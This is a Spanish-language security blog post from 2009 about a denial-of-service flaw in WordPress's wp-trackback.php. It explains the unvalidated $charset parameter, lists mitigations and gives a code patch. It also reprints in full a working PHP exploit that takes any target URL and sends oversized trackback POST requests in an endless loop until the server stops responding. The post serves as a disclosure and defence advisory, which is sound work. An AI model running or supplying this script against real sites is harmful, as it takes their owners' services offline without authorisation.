Denegacion de Servicio en WordPress


Jose Carlos Norte acaba de publicar en su blog, un nuevo fallo de descubierto en el popular , este fallo permite a a cualquier persona de forma sencilla dejar fuera de linea un blog con causando una denegacion de servicio.

El se encuentra en el archivo wp-trackback. quien no valida adecuadamente la variable $charset, permitiendo ingresar una peticion POST especialmente diseñada con una cantidad indeterminada de parámetros, causando un  gran consumo de memoria y CPU hasta que estos se agoten y el servidor deja de responder.

Todas las versiones de WordPress hasta el momento son vulnerables a este fallo (y según Jose Carlos, el parche que publicaría WordPress tampoco lo soluciona), aunque dependiendo de la configuración individual de cada servidor, el problema es mayor o menor, por ejemplo un servido con mod_security, no seria ya que  bloquearía estas peticiones mal intencionadas,  también se pueden mitigar los daños con una adecuada configuración del parámetro php_memory_limit del php.ini para evitar que tus desarrollos web utilicen mas memoria de la que en realidad necesitan, podrías también utilizar el WP-IDS un mod para WordPress del PHPIDS (reseñado el la guía blanca de seguridad en wordpress WordPress Security Whitepaper) el cual bloquearía no solo estas peticiones sino muchos mas problemas de seguridad.

Les dejo la solución propuesta por Jose Carlos en su blog para este problema:

Reemplazar en la linea 45 del archivo wp-trackback.php esto
$charset = $_POST['charset'];

por esto
$charset = str_replace(”,”,””,$_POST['charset']);
if(is_array($charset)) { exit; }

Y el exploit para verificar que somos vulnerables:

<?php
//wordpress Resource exhaustion Exploit
//http://rooibo.wordpress.com/
//[email protected] contacted and get a response,
//but no solution available.
if(count($argv) < 2) {
echo “You need to specify a url to attack\n”;
exit;
}

$url = $argv[1];

$data = parse_url($url);
if(count($data) < 2) { echo “The url should have http:// in front of it, and should be complete.\n”; exit; } if(count($data) == 2) { $path = ”; } else { $path = $data['path']; } $path = trim($path,’/’); $path .= ‘/wp-trackback.php’; if($path{0} != ‘/’) { $path = ‘/’.$path; } $b = “”; $b = str_pad($b,140000,’ABCEDFG’); $b = utf8_encode($b); $charset = “”; $charset = str_pad($charset,140000,”UTF-8,”); $str = ‘charset=’.urlencode($charset); $str .= ‘&url=www.example.com’; $str .= ‘&title=’.$b; $str .= ‘&blog_name=lol’; $str .= ‘&excerpt=lol’; $count = 0; while(1) { $fp = @fsockopen($data['host'],80); if(!$fp) { if($count > 0) {
echo “down!!!!\n”;
exit;
}
echo “unable to connect to: “.$data['host'].”\n”;
exit;
}

fputs($fp, “POST $path HTTP/1.1\r\n”);
fputs($fp, “Host: “.$data['host'].”\r\n”);
fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
fputs($fp, “Content-length: “.strlen($str).”\r\n”);
fputs($fp, “Connection: close\r\n\r\n”);
fputs($fp, $str.”\r\n\r\n”);

echo “hit!\n”;
$count++;
}

?>

Para mas informacion:
Agujero de seguridad muy grave en WordPress
Atención! BUG WordPress
WordPress Security Whitepaper

$charset = $_POST['charset'];

Si te ha gustado el post, compartelo y ayudanos a crecer.

Unete a nuestra Fanpage Siguenos en Twitter

Twitter Digg Delicious Stumbleupon Technorati Facebook Email

About DragoN

Ingeniero en Sistemas y Telecomunicaciones de la Universidad de Manizales. Information Security Researcher con más de 10 años de experiencias en Ethical Hacking, Pen Testing y Análisis Forense. Docente Universitario en Pre y Post-Grado, Speaker y Organizador de diferentes eventos de Seguridad Informática, Co-Fundador del ACK Security Conference y Creador de La Comunidad DragonJAR, una de las comunidades de seguridad informática mas grandes de habla hispana y referente en el sector.

Trackbacks/Pingbacks

  1. El CoDiGo K » Ups! Nuevo fallo en WordPress - 20 octubre 2009

    [...] conocer más sobre este fallo, te recomiendo que consultes a DragonJar y el blog de José Carlos [...]

  2. ElPlog.com – V4.0 » Fallo de seguridad en Wordpress - 20 octubre 2009

    [...] | DragonJar.org | José Carlos [...]

  3. Realizaron Hardening a WordPress, Descarga la nueva versión 2.8.5 -- Insecurity.cl - 29 octubre 2009

    [...] Arreglaron el error del archivo wp-trackback.php que permitía una Denegacion de Servicio en WordPress [...]

Dejar un Comentario